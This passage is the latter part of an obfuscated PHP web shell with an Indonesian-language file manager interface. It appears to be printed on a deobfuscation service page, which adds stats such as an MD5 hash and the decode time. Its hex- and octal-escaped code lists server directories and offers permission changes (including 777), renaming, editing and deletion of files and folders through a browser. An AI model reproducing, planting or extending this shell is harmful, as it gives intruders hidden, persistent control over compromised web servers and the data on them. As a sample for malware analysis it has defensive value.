"class="fields"placeholder="Nama File/Folder"required> <select class="fields"name="mode"><option value="500">500</option><option value="555">555</option><option value="600">600</option><option value="644">644</option><option value="700">700</option><option value="755">755</option><option value="775">775</option><option value="777">777</option></select> <input name="access"value="Update Akses"type="submit"></form><span class="current_path"><?php  $xpaths = preg_split("\x2f\x5b\x5c\57\134\x5c\x5d\57", $current_path); $rpath = ''; foreach ($xpaths as $xpath) { if ($xpath != "\103\72") { echo "\57"; $rpath = $rpath . "\x2f" . $xpath; } else { $rpath = $rpath . $xpath; } echo "\x3c\x61\40\150\x72\x65\146\x3d\42\x3f\142\141\163\x65\x5f\144\151\162\75" . urlencode($rpath) . $var . "\42\x3e" . $xpath . "\74\57\x61\76"; } ?>
</span><?php  echo "\x3c\x74\x61\x62\x6c\x65\40\143\x65\x6c\x6c\163\x70\141\x63\x69\x6e\x67\x3d\42\60\x22\x20\143\x65\x6c\x6c\160\x61\144\x64\x69\156\147\75\x22\60\x22\76\xa\40\x20\x20\40\40\x20\x20\40\x3c\164\150\145\x61\144\x3e\xa\40\40\x20\40\x20\40\40\40\x20\40\x20\40\74\x74\x72\76\xa\40\40\40\40\40\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\74\164\x68\76\x3c\57\164\150\76\xa\x20\40\40\x20\x20\x20\x20\40\x20\40\40\40\40\40\x20\40\74\164\x68\x20\143\x6c\x61\163\163\x3d\42\156\x61\x6d\x65\x22\76\116\x61\155\145\74\57\164\x68\x3e\12\40\x20\40\x20\x20\40\40\40\x20\40\40\40\x20\x20\40\x20\74\164\x68\x20\x63\154\x61\x73\163\75\42\163\x69\172\145\x22\76\x53\151\172\x65\74\57\x74\x68\x3e\12\x20\x20\40\40\x20\40\40\40\40\40\40\x20\x20\40\x20\x20\74\164\150\40\143\154\141\x73\x73\75\x22\x6d\157\x64\151\x66\171\x22\x3e\114\141\x73\164\x20\x4d\x6f\144\x69\x66\151\x65\144\x3c\57\164\x68\x3e\xa\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\74\164\x68\40\x63\x6c\141\163\x73\75\42\x70\145\x72\155\x73\x22\76\x50\x65\162\x6d\x69\x73\x73\151\157\x6e\x73\74\x2f\x74\x68\x3e\xa\40\40\x20\x20\40\40\40\x20\x20\40\40\x20\x20\x20\40\x20\x3c\x74\x68\40\143\154\x61\x73\x73\75\x22\141\143\164\x69\157\156\163\x22\76\141\x63\164\151\157\156\x73\74\x2f\164\150\x3e\xa\40\x20\40\40\x20\x20\x20\40\x20\40\40\40\x3c\x2f\x74\162\76\12\40\40\40\40\40\40\40\x20\x3c\57\164\150\145\141\144\x3e\xa\40\x20\40\x20\40\40\x20\40\74\164\x62\x6f\144\171\x3e\xa\40\x20\x20\x20"; if ($current_dir) { $parent_dir = dirname($current_dir); echo "\12\40\x20\x20\40\x20\40\40\x20\x3c\x74\x72\x20\143\154\x61\163\163\x3d\42\x64\151\162\145\143\164\x6f\x72\171\x22\76\xa\40\x20\40\x20\x20\40\x20\40\x3c\164\x64\x20\143\154\141\x73\163\x3d\x22\x73\x76\x67\42\x3e\x3c\x61\40\143\154\141\163\x73\75\42\146\x6f\154\144\145\x72\42\x20\150\162\145\x66\75\x22\77\144\151\x72\x3d" . urlencode($parent_dir) . $var . "\x22\x3e\xa\x20\x20\40\40\x20\40\40\40\x3c\x73\166\x67\x20\143\x6c\141\163\x73\75\x22\167\x2d\x5b\x31\62\x70\170\x5d\x20\150\55\x5b\61\62\160\170\135\x20\164\145\x78\x74\x2d\x67\x72\141\171\55\70\x30\x30\40\x64\141\162\153\72\x74\x65\170\x74\55\x77\x68\151\164\145\42\40\x61\162\x69\x61\x2d\150\151\144\x64\145\156\75\x22\x74\x72\165\145\x22\x20\x78\x6d\x6c\156\x73\x3d\x22\x68\164\164\160\72\x2f\57\x77\x77\167\x2e\x77\63\56\157\x72\x67\57\x32\60\60\60\x2f\x73\x76\x67\x22\40\167\151\x64\164\150\x3d\42\x32\64\42\40\150\145\151\147\x68\164\x3d\42\62\64\42\40\146\x69\x6c\154\75\x22\x6e\x6f\156\x65\42\x20\x76\151\x65\x77\x42\x6f\170\75\42\x30\40\60\x20\62\64\40\x32\64\x22\x3e\12\x20\x20\74\160\x61\x74\x68\40\x73\164\162\157\153\x65\x3d\x22\143\165\162\162\x65\x6e\164\x43\x6f\x6c\x6f\162\x22\40\163\x74\x72\x6f\153\145\55\154\x69\156\145\143\x61\x70\x3d\x22\x72\x6f\x75\156\144\x22\40\x73\164\x72\157\x6b\x65\55\x6c\x69\x6e\145\152\x6f\x69\x6e\75\x22\x72\x6f\165\156\144\42\40\163\x74\162\157\153\145\55\167\x69\x64\x74\x68\75\42\61\42\40\x64\75\x22\115\61\x34\56\65\40\70\x2e\x30\x34\66\110\x31\x31\x56\x36\56\61\61\71\143\x30\55\x2e\x39\62\61\x2d\x2e\x39\55\61\x2e\x34\64\66\x2d\x31\56\65\62\64\55\56\70\71\64\x6c\x2d\65\x2e\61\60\x38\x20\64\x2e\64\71\141\x31\x2e\x32\40\61\56\x32\x20\60\x20\60\40\60\40\x30\x20\61\56\67\x33\71\x6c\65\56\61\60\x38\x20\x34\56\64\71\x63\x2e\66\x32\x34\x2e\65\65\x36\40\x31\x2e\65\62\x34\x2e\x30\x32\67\x20\x31\x2e\x35\x32\64\x2d\x2e\x38\x39\63\166\x2d\x31\x2e\x39\62\x38\150\x32\141\x33\56\60\x32\63\x20\63\56\x30\62\63\40\60\40\60\x20\x31\40\x33\x20\63\56\60\x34\x36\126\61\71\x61\x35\x2e\x35\71\x33\x20\x35\56\65\x39\63\x20\x30\x20\x30\x20\60\x2d\61\56\65\x2d\61\x30\56\71\65\x34\x5a\x22\x2f\x3e\xa\x3c\x2f\x73\166\147\76\x3c\57\x61\76\12\40\x20\40\x20\40\x20\x20\x20\74\57\164\x64\76\xa\x20\40\40\x20\x20\40\x20\40\74\164\x64\40\143\157\x6c\163\x70\x61\x6e\75\42\x35\x22\x3e\x3c\x61\40\x63\x6c\x61\163\x73\x3d\x22\x66\157\154\x64\x65\x72\42\x20\x68\x72\x65\146\x3d\42\x3f\x64\151\162\75" . urlencode($parent_dir) . $var . "\x22\76\12\40\x20\40\x20\40\x20\x20\x20\12\x2f\56\x2e\x20\74\x2f\x61\76\74\x2f\164\144\76\xa\74\x2f\164\x72\x3e"; } foreach ($directories as $directory) { $full_path = $current_path . "\x2f" . $directory; $folder_mtime = date("\144\x20\x4d\40\131\x20\x48\x3a\151\x3a\x73", filemtime($full_path)); $folder_perms = formatPermissions(fileperms($full_path)); echo "\x3c\164\162\40\x63\x6c\141\163\x73\x3d\42\x64\x69\162\145\143\164\x6f\162\171\x22\x3e\12\x20\x20\x20\x20\40\40\40\40\x3c\x74\144\x20\x63\154\141\163\x73\75\x22\163\166\x67\42\x3e\12\40\x20\40\40\40\40\x20\x20\40\40\x20\x20\x3c\141\x20\x63\x6c\141\x73\163\x3d\42\x66\x6f\x6c\144\x65\162\x22\40\x68\162\x65\146\x3d\x22\x3f\144\x69\x72\75" . urlencode($current_dir . "\57" . $directory) . $var . "\42\76\xa\40\x20\40\x20\x20\40\x20\x20\40\40\40\40\x3c\x73\x76\147\x20\143\154\141\x73\163\x3d\42\167\x2d\x5b\x31\62\x70\x78\x5d\x20\150\55\133\61\x32\x70\170\135\x20\x74\x65\170\x74\x2d\147\162\141\171\55\70\60\x30\x20\x64\141\162\x6b\x3a\164\145\170\164\x2d\167\150\x69\164\x65\42\40\141\162\x69\x61\55\x68\x69\x64\144\x65\156\75\x22\164\x72\165\x65\x22\x20\x78\155\x6c\156\163\x3d\x22\x68\164\x74\160\x3a\x2f\57\x77\x77\167\x2e\167\x33\x2e\157\x72\x67\57\x32\60\60\x30\x2f\x73\166\147\42\x20\167\151\x64\164\x68\x3d\42\x32\64\42\x20\x68\145\151\x67\x68\x74\75\42\62\x34\x22\x20\146\x69\154\154\75\x22\x6e\x6f\156\x65\x22\40\166\151\x65\167\102\157\170\75\x22\60\40\60\40\62\64\40\62\x34\42\76\12\x20\x20\x3c\x70\141\x74\x68\x20\163\164\162\157\153\145\x3d\42\143\165\162\162\145\x6e\164\x43\x6f\154\157\x72\42\40\x73\164\162\x6f\153\145\55\x6c\151\x6e\x65\143\141\x70\75\x22\x72\x6f\x75\x6e\x64\x22\40\163\x74\x72\157\x6b\x65\x2d\154\151\156\145\152\x6f\151\x6e\75\42\x72\157\165\156\144\42\40\x73\x74\x72\157\x6b\x65\55\167\151\x64\164\150\x3d\42\x31\42\40\144\75\x22\115\x31\63\56\65\x20\x38\110\64\x6d\60\x2d\x32\166\61\x33\x61\61\40\x31\40\x30\x20\x30\40\x30\x20\x31\x20\x31\150\x31\x34\141\x31\x20\x31\x20\60\40\60\x20\60\x20\61\55\x31\x56\x39\141\x31\40\x31\40\x30\40\x30\40\x30\x2d\61\x2d\x31\150\x2d\x35\56\x30\63\x32\141\x31\40\x31\x20\60\x20\x30\x20\x31\x2d\x2e\x37\x36\70\55\x2e\x33\x36\154\55\x31\x2e\x39\x2d\x32\x2e\x32\x38\141\61\40\61\x20\60\x20\x30\40\60\x2d\56\x37\x36\70\55\x2e\63\66\110\65\x61\x31\x20\x31\40\x30\x20\x30\x20\60\55\61\x20\x31\x5a\42\57\76\xa\74\x2f\163\166\x67\x3e\74\57\141\x3e\12\74\57\164\144\76\12\x20\x20\x20\x20\x20\x20\x20\40\74\164\144\x3e\xa\x20\40\40\x20\x20\x20\40\x20\40\40\40\x20\x3c\x61\40\143\x6c\141\163\x73\75\x22\x66\157\x6c\x64\145\x72\x22\x20\150\x72\145\146\x3d\x22\x3f\x64\151\x72\75" . urlencode($current_dir . "\57" . $directory) . $var . "\x22\76\12" . htmlspecialchars($directory) . "\74\57\x61\x3e\xa\74\x2f\x74\144\x3e\12\x3c\164\x64\40\143\154\141\163\163\75\x22\x73\x69\x7a\145\x22\76\x20\55\55\55\40\74\x2f\164\144\76\xa\x3c\x74\144\x20\x63\x6c\141\163\163\75\42\x6d\157\x64\151\x66\x79\42\x3e" . $folder_mtime . "\74\57\x74\x64\x3e\xa\x3c\x74\144\x20\143\154\141\163\163\75\x22\160\x65\x72\155\163\x22\76" . $folder_perms . "\74\x2f\164\144\76\xa\x3c\164\x64\40\x63\154\x61\163\x73\x3d\x22\141\x63\164\151\x6f\156\x73\x22\76\xa\x3c\x61\40\x63\x6c\x61\163\163\x3d\42\163\x75\142\155\151\x74\x22\40\150\162\x65\x66\75\x22\x3f\144\151\162\x3d" . urlencode($current_dir) . "\46\x61\x63\143\145\x73\x73\x5f\164\141\x72\x67\145\164\x3d" . urlencode($directory) . $var . "\42\40\164\151\x74\x6c\145\75\42\101\x63\143\145\x73\x73\42\76\101\74\x2f\141\76\12\74\x61\x20\143\154\x61\163\x73\x3d\42\x73\x75\x62\x6d\151\x74\42\40\x68\162\x65\146\75\x22\77\144\x69\162\75" . urlencode($current_dir) . "\46\162\145\x6e\141\155\x65\x5f\164\141\162\147\x65\x74\75" . urlencode($directory) . $var . "\42\x20\164\x69\164\x6c\x65\x3d\42\x52\x65\x6e\x61\155\145\42\76\x52\74\57\x61\76\xa"; ?>
<form method="post"style="display:inline"><input name="delete_target"value="<?php  echo htmlspecialchars($current_dir . "\57" . $directory); ?>
"type="hidden"> <input name="delete_folder"value="X"type="submit"class="submit"onclick='return confirm("Apakah Anda yakin ingin menghapus folder ini?")'title="Delete"></form><?php  echo "\xa\74\57\164\144\76\12\x3c\x2f\x74\x72\x3e"; } $array = array("\x70\x68\x70", "\x68\164\155\x6c", "\x63\x73\163", "\152\163"); foreach ($files as $file) { $full_path = $current_path . "\x2f" . $file; $file_size = formatSize(filesize($full_path)); $file_mtime = date("\x64\40\115\x20\131\40\x48\72\151\72\163", filemtime($full_path)); $file_perms = formatPermissions(fileperms($full_path)); echo "\x3c\x74\x72\x20\143\154\141\163\x73\x3d\42\x66\x69\x6c\145\42\76"; echo "\x3c\x74\144\76\12\40\40\x20\40\40\40\40\40\x20\x20\40\x20\74\163\166\147\x20\x63\154\141\163\163\x3d\42\x77\x2d\x5b\x31\62\160\170\x5d\40\150\55\133\61\x32\x70\170\135\40\164\x65\170\x74\x2d\147\x72\141\171\55\70\60\60\x20\x64\141\162\153\x3a\x74\145\x78\x74\x2d\167\x68\x69\164\145\42\x20\141\x72\151\x61\x2d\150\x69\144\x64\145\x6e\x3d\42\x74\162\165\x65\x22\40\170\155\x6c\x6e\163\75\42\x68\x74\164\x70\x3a\57\57\x77\167\x77\x2e\167\63\56\x6f\162\x67\x2f\62\60\60\x30\x2f\163\166\147\x22\40\167\151\x64\164\150\x3d\x22\x32\x34\42\x20\x68\145\151\147\150\x74\x3d\42\62\x34\x22\40\146\x69\x6c\x6c\x3d\x22\x6e\157\x6e\x65\42\x20\x76\x69\145\x77\102\157\170\x3d\x22\60\40\x30\x20\x32\64\40\x32\x34\x22\76\12\x20\40\74\x70\141\164\x68\40\x73\x74\162\x6f\x6b\145\x3d\x22\143\x75\x72\162\x65\x6e\x74\x43\157\x6c\x6f\162\42\40\163\164\162\157\153\145\x2d\154\151\x6e\145\x6a\x6f\x69\x6e\x3d\42\x72\157\x75\x6e\144\42\40\163\x74\162\x6f\x6b\x65\55\x77\x69\144\164\150\x3d\42\x31\x22\40\144\x3d\x22\115\61\x30\x20\x33\166\64\x61\x31\40\x31\40\x30\40\60\40\61\x2d\61\40\x31\x48\x35\x6d\x31\x34\x2d\64\166\x31\66\x61\x31\x20\x31\40\x30\40\x30\40\61\x2d\61\40\61\x48\x36\x61\61\x20\x31\40\60\40\x30\40\x31\55\x31\x2d\61\x56\67\56\71\61\64\x61\61\40\x31\40\x30\40\x30\40\61\40\56\x32\x39\x33\x2d\56\67\60\67\x6c\63\x2e\71\61\64\x2d\63\x2e\71\61\x34\101\x31\40\x31\x20\x30\40\60\x20\x31\40\x39\56\71\x31\64\x20\x33\110\x31\x38\141\61\40\x31\40\x30\x20\60\40\61\40\61\x20\61\132\x22\57\76\xa\x3c\57\163\166\x67\x3e\xa\40\x20\40\x20\40\x20\x20\40\40\x20\40\x20\x3c\57\164\144\76"; if (in_array(pathinfo($file, PATHINFO_EXTENSION), $array)) { echo "\74\x74\144\76\12\40\x20\40\x20\x20\x20\40\x20\40\x20\40\40" . htmlspecialchars($file) . "\74\57\164\x64\x3e\xa\40\40\40\40\x20\40\40\40\x20\x20\x20\x20\x3c\57\164\144\76\12\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\40\40\40\40\x3c\164\144\40\143\154\x61\163\x73\75\42\163\x69\172\x65\x22\76" . $file_size . "\74\57\164\x64\x3e\12\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\40\40\40\40\74\x74\144\x20\x63\x6c\141\x73\163\x3d\x22\155\x6f\x64\151\x66\x79\x22\x3e" . $file_mtime . "\x3c\57\x74\x64\76\xa\x20\x20\40\x20\x20\x20\40\40\40\40\40\x20\x20\40\x20\40\74\x74\144\x20\x63\x6c\141\x73\x73\x3d\42\x70\145\162\155\x73\42\x3e" . $file_perms . "\x3c\x2f\164\x64\76\xa\x20\x20\40\40\x20\40\40\40\x20\x20\x20\x20\x20\40\40\x20\74\x74\x64\40\x63\154\x61\163\163\x3d\x22\x61\x63\164\151\157\156\x73\42\76\xa\40\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\x20\40\40\40\x3c\x61\40\x63\154\x61\163\163\75\x22\163\x75\x62\155\x69\164\42\x20\x68\x72\x65\x66\75\x22\x3f\144\x69\162\x3d" . urlencode($current_dir) . "\46\x61\x63\143\x65\163\163\137\x74\x61\162\x67\x65\x74\x3d" . urlencode($file) . $var . "\42\x20\164\151\164\x6c\x65\75\42\101\143\x63\x65\163\163\x22\x3e\x41\x3c\57\x61\x3e\xa\x20\40\x20\40\40\40\x20\x20\x20\40\40\40\40\x20\40\x20\74\141\40\x63\154\141\163\163\x3d\42\x73\165\142\x6d\x69\x74\42\x20\x68\x72\x65\146\75\x22\77\x64\x69\162\75" . urlencode($current_dir) . "\x26\x72\x65\156\x61\x6d\x65\137\x74\x61\162\147\145\x74\x3d" . urlencode($file) . $var . "\42\x20\x74\151\164\x6c\145\x3d\42\x52\x65\x6e\141\155\x65\42\76\122\74\x2f\141\76\xa\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\40\74\141\x20\x63\154\x61\x73\x73\75\x22\163\x75\x62\155\151\x74\42\x20\150\162\x65\146\75\42\77\144\151\162\x3d" . urlencode($current_dir) . "\46\x66\x69\x6c\145\x3d" . urlencode($file) . $var . "\42\x20\x74\x69\164\x6c\145\x3d\42\105\144\151\164\42\76\x26\x6e\x62\163\160\x3b\x45\x3c\57\x61\76\12\40\40\40\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\40"; ?>
<form method="post"style="display:inline"><input name="delete_target"value="<?php  echo htmlspecialchars($current_dir . "\x2f" . $file); ?>
"type="hidden"> <input name="delete_file"value="X"type="submit"class="submit"onclick='return confirm("Apakah Anda yakin ingin menghapus file ini?")'title="Delete"></form><?php  echo "\12\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\74\57\164\144\76\12\x20\x20\40\40\40\x20\x20\x20\40\40\40\x20\40\40\40\40"; } else { echo "\x3c\x74\x64\76" . htmlspecialchars($file) . "\12\x20\x20\40\40\x20\40\40\40\40\40\x20\40\40\x20\40\40\40\40\x20\40\x20\40\x20\x20\x3c\57\x74\x64\76\xa\x20\40\x20\40\40\40\40\40\x20\x20\40\x20\40\40\x20\40\40\x20\x20\x20\x20\40\40\x20\74\x74\144\x20\143\x6c\141\163\163\x3d\x22\x73\x69\172\x65\x22\x3e" . $file_size . "\74\57\164\x64\76\12\40\x20\x20\40\x20\40\40\x20\40\x20\x20\40\x20\x20\40\x20\40\40\40\x20\x20\x20\40\x20\74\x74\x64\x20\x63\x6c\141\x73\163\75\42\155\x6f\x64\151\x66\x79\x22\76" . $file_mtime . "\74\57\x74\144\76\xa\x20\40\x20\40\40\x20\x20\40\40\40\40\40\40\40\40\x20\x20\40\x20\x20\x20\40\x20\40\x3c\x74\144\40\143\x6c\141\163\163\75\42\x70\x65\162\155\163\42\x3e" . $file_perms . "\x3c\57\164\144\76\xa\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\74\x74\144\40\x63\154\x61\163\x73\x3d\42\x61\x63\164\151\157\156\163\42\x3e\xa\40\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\40\40\x3c\141\x20\x68\162\x65\x66\x3d\x22\77\144\x69\x72\x3d" . urlencode($current_dir) . "\x26\x72\x65\156\141\x6d\x65\x5f\164\x61\x72\x67\x65\x74\x3d" . urlencode($file) . $var . "\42\76\122\74\x2f\x61\76\12\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x3c\57\x74\x64\76"; } echo "\74\x2f\x74\162\76"; } ?>
</body></html><?php  die; } goto zgVa0; zgVa0: ?>

Function Calls

None

Variables

None

Stats

MD5 f80e3ecebf5cc613455ebd16088305d8
Eval Count 0
Decode Time 92 ms